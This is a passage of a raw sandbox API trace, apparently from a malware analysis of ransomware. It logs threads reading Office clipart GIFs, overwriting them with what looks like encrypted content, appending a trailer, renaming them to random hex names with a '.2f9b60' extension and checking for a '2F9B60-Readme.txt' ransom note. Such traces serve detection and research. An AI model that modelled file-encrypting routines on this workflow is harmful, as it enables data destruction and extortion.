IoStatusBlock=0x3aa8f998, FileInformation=0x3aa8f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b8a0) returned 1 [0117.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0117.573] FlushFileBuffers (hFile=0x1790) returned 1 [0117.586] CloseHandle (hObject=0x1790) returned 1 [0117.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b8629e0 [0117.587] wcscpy (in: _Dest=0x1b8629e0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.587] wcscat (in: _Dest=0x1b8629e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8629e0) returned 1 [0117.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862ca0) returned 1 Thread: id = 1280 os_tid = 0xde4 [0115.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif")) returned 0x20 [0116.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF", dwFileAttributes=0x20) returned 1 [0116.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1788 [0116.163] GetFileSizeEx (in: hFile=0x1788, lpFileSize=0x3ab9fd20 | out: lpFileSize=0x3ab9fd20*=893) returned 1 [0116.163] SetFilePointerEx (in: hFile=0x1788, liDistanceToMove=0x379, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.163] ReadFile (in: hFile=0x1788, lpBuffer=0x3ab9fca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ab9fce8, lpOverlapped=0x0 | out: lpBuffer=0x3ab9fca0*, lpNumberOfBytesRead=0x3ab9fce8*=0x4, lpOverlapped=0x0) returned 1 [0116.168] SetFilePointerEx (in: hFile=0x1788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0116.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0116.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0116.168] NtQuerySystemTime (in: CurrentTime=0x3ab9fbe0 | out: CurrentTime=0x3ab9fbe0*=132462177216250000) returned 0x0 [0116.168] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x4fdd9acb [0116.168] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x69a40832 [0116.168] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x2bbbf12b [0116.168] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x17642ff6 [0116.168] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x12776c31 [0116.168] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x2e7194ab [0116.168] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x732bda9a [0116.168] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x6733c751 [0116.168] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x6aec9507 [0116.168] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x68687d4a [0116.168] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x7679db52 [0116.168] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x5afe1600 [0116.168] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x412e84d9 [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x5c1e4046 [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x6b82510 [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x3c45eac0 [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x43157e3b [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x376264e2 [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x125aea72 [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x242b6ecd [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x628ed1ca [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x441dfbd9 [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x5a52b300 [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x5715410f [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x4d1b5d7d [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x616dc1a4 [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x235181c6 [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x3b10bc72 [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x18534705 [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x26779569 [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x3a0f4d0a [0116.169] RtlRandomEx (in: Seed=0x3ab9fbd0 | out: Seed=0x3ab9fbd0) returned 0x5ba97900 [0116.181] ReadFile (in: hFile=0x1788, lpBuffer=0x2017d170, nNumberOfBytesToRead=0x37d, lpNumberOfBytesRead=0x3ab9fbd0, lpOverlapped=0x0 | out: lpBuffer=0x2017d170*, lpNumberOfBytesRead=0x3ab9fbd0*=0x37d, lpOverlapped=0x0) returned 1 [0116.181] SetFilePointerEx (in: hFile=0x1788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.181] WriteFile (in: hFile=0x1788, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x37d, lpNumberOfBytesWritten=0x3ab9fbd4, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x3ab9fbd4*=0x37d, lpOverlapped=0x0) returned 1 [0116.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0116.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0116.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260890) returned 1 [0116.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0116.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2017d170) returned 1 [0116.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0116.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0116.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260890 [0116.215] SetFilePointerEx (in: hFile=0x1788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.216] WriteFile (in: hFile=0x1788, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3ab9fcf0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3ab9fcf0*=0x10a, lpOverlapped=0x0) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0116.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868840 [0116.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0116.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262000) returned 1 [0116.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0116.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0116.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262030) returned 1 [0116.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0116.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0116.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8340 [0116.268] sprintf (in: _Dest=0x1b7d8340, _Format="%c%c" | out: _Dest="b6") returned 2 [0116.268] sprintf (in: _Dest=0x1b7d8342, _Format="%c%c" | out: _Dest="c7") returned 2 [0116.268] sprintf (in: _Dest=0x1b7d8344, _Format="%c%c" | out: _Dest="82") returned 2 [0116.268] sprintf (in: _Dest=0x1b7d8346, _Format="%c%c" | out: _Dest="ed") returned 2 [0116.268] sprintf (in: _Dest=0x1b7d8348, _Format="%c%c" | out: _Dest="b7") returned 2 [0116.268] sprintf (in: _Dest=0x1b7d834a, _Format="%c%c" | out: _Dest="69") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d834c, _Format="%c%c" | out: _Dest="81") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d834e, _Format="%c%c" | out: _Dest="56") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d8350, _Format="%c%c" | out: _Dest="92") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d8352, _Format="%c%c" | out: _Dest="b3") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d8354, _Format="%c%c" | out: _Dest="c2") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d8356, _Format="%c%c" | out: _Dest="d0") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d8358, _Format="%c%c" | out: _Dest="55") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d835a, _Format="%c%c" | out: _Dest="f4") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d835c, _Format="%c%c" | out: _Dest="8a") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d835e, _Format="%c%c" | out: _Dest="54") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d8360, _Format="%c%c" | out: _Dest="bc") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d8362, _Format="%c%c" | out: _Dest="1e") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d8364, _Format="%c%c" | out: _Dest="ba") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d8366, _Format="%c%c" | out: _Dest="d0") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d8368, _Format="%c%c" | out: _Dest="f5") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d836a, _Format="%c%c" | out: _Dest="13") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d836c, _Format="%c%c" | out: _Dest="00") returned 2 [0116.269] sprintf (in: _Dest=0x1b7d836e, _Format="%c%c" | out: _Dest="dd") returned 2 [0116.269] RtlInitAnsiString (in: DestinationString=0x3ab9fd68, SourceString="b6c782edb769815692b3c2d055f48a54bc1ebad0f51300dd" | out: DestinationString="b6c782edb769815692b3c2d055f48a54bc1ebad0f51300dd") [0116.269] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ab9fd38, SourceString="b6c782edb769815692b3c2d055f48a54bc1ebad0f51300dd", AllocateDestinationString=1 | out: DestinationString="b6c782edb769815692b3c2d055f48a54bc1ebad0f51300dd") returned 0x0 [0116.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9780 [0116.270] wcscat (in: _Dest=0x2050bcc0, _Source="b6c782edb769" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b6c782edb769") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b6c782edb769" [0116.270] wcscat (in: _Dest=0x2050bcc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b6c782edb769.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b6c782edb769.2f9b60" [0116.270] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b6c782edb769.2f9b60", NtPathName=0x3ab9fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b6c782edb769.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1183a0 [0116.270] NtSetInformationFile (FileHandle=0x1788, IoStatusBlock=0x3ab9fdb0, FileInformation=0x1183a0, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1183a0) returned 1 [0117.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0117.768] NtQueryInformationFile (in: FileHandle=0x1788, IoStatusBlock=0x3ab9fd78, FileInformation=0x3ab9fd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ab9fd78, FileInformation=0x3ab9fd88) returned 0x0 [0117.768] NtSetInformationFile (FileHandle=0x1788, IoStatusBlock=0x3ab9fd78, FileInformation=0x3ab9fd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bcc0) returned 1 [0117.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9780) returned 1 [0117.769] FlushFileBuffers (hFile=0x1788) returned 1 [0117.778] CloseHandle (hObject=0x1788) returned 1 [0117.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b862b40 [0117.779] wcscpy (in: _Dest=0x1b862b40, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.779] wcscat (in: _Dest=0x1b862b40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862b40) returned 1 [0117.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862d50) returned 1 Thread: id = 1281 os_tid = 0xf48 [0116.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif")) returned 0x20 [0120.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF", dwFileAttributes=0x20) returned 1 [0120.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8e4 [0120.619] GetFileSizeEx (in: hFile=0x8e4, lpFileSize=0x3b02f840 | out: lpFileSize=0x3b02f840*=1401) returned 1 [0120.619] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x575, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.619] ReadFile (in: hFile=0x8e4, lpBuffer=0x3b02f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b02f808, lpOverlapped=0x0 | out: lpBuffer=0x3b02f7c0*, lpNumberOfBytesRead=0x3b02f808*=0x4, lpOverlapped=0x0) returned 1 [0121.176] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a50 [0121.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a20 [0121.176] NtQuerySystemTime (in: CurrentTime=0x3b02f700 | out: CurrentTime=0x3b02f700*=132462177265702000) returned 0x0 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x7cfa8c31 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x2b61f812 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x6d732850 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x494a28f4 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x4ad5c195 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x5a2d2fd1 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x3c5c6237 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x136b979 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x67390c3e [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x5bf0a51 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x28d2a305 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x176ce43f [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0xc579054 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x7c15e35 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x23929684 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x506a3cf7 [0121.176] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x707f87d4 [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x387c745f [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x4dd8f76d [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x2034e8a1 [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x6f4d158 [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x278c4e6b [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x61dd5401 [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x5a2d2fd1 [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x2e61d24e [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x392c2538 [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x1d71ef07 [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x1aa64180 [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x2c57426e [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x35d53cba [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x5c1e5637 [0121.177] RtlRandomEx (in: Seed=0x3b02f6f0 | out: Seed=0x3b02f6f0) returned 0x7725f19b [0124.410] ReadFile (in: hFile=0x8e4, lpBuffer=0x41c5f0f0, nNumberOfBytesToRead=0x579, lpNumberOfBytesRead=0x3b02f6f0, lpOverlapped=0x0 | out: lpBuffer=0x41c5f0f0*, lpNumberOfBytesRead=0x3b02f6f0*=0x579, lpOverlapped=0x0) returned 1 [0124.410] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.410] WriteFile (in: hFile=0x8e4, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x579, lpNumberOfBytesWritten=0x3b02f6f4, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x3b02f6f4*=0x579, lpOverlapped=0x0) returned 1 [0124.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609b0 [0124.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261640 [0124.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261640) returned 1 [0124.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0124.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c5f0f0) returned 1 [0124.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504290) returned 1 [0124.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0124.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261640 [0124.458] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.458] WriteFile (in: hFile=0x8e4, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3b02f810, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x3b02f810*=0x10a, lpOverlapped=0x0) returned 1 [0124.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0124.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a65c0) returned 1 [0124.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0124.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6560 [0124.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6560) returned 1 [0124.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.604] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="3f") returned 2 [0124.604] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="f2") returned 2 [0124.605] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="62") returned 2 [0124.605] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="59") returned 2 [0124.605] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="0b") returned 2 [0124.605] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="49") returned 2 [0124.605] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="fe") returned 2 [0124.605] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="75") returned 2 [0124.605] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="7e") returned 2 [0124.605] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="75") returned 2 [0124.605] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="72") returned 2 [0124.605] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="2f") returned 2 [0124.605] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="3d") returned 2 [0124.605] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="63") returned 2 [0124.605] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="29") returned 2 [0124.605] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="76") returned 2 [0124.605] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="bf") returned 2 [0124.605] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="af") returned 2 [0124.605] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="54") returned 2 [0124.605] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="67") returned 2 [0124.605] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="ba") returned 2 [0124.605] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="7e") returned 2 [0124.605] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="89") returned 2 [0124.605] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="90") returned 2 [0124.605] RtlInitAnsiString (in: DestinationString=0x3b02f888, SourceString="3ff262590b49fe757e75722f3d632976bfaf5467ba7e8990" | out: DestinationString="3ff262590b49fe757e75722f3d632976bfaf5467ba7e8990") [0124.605] 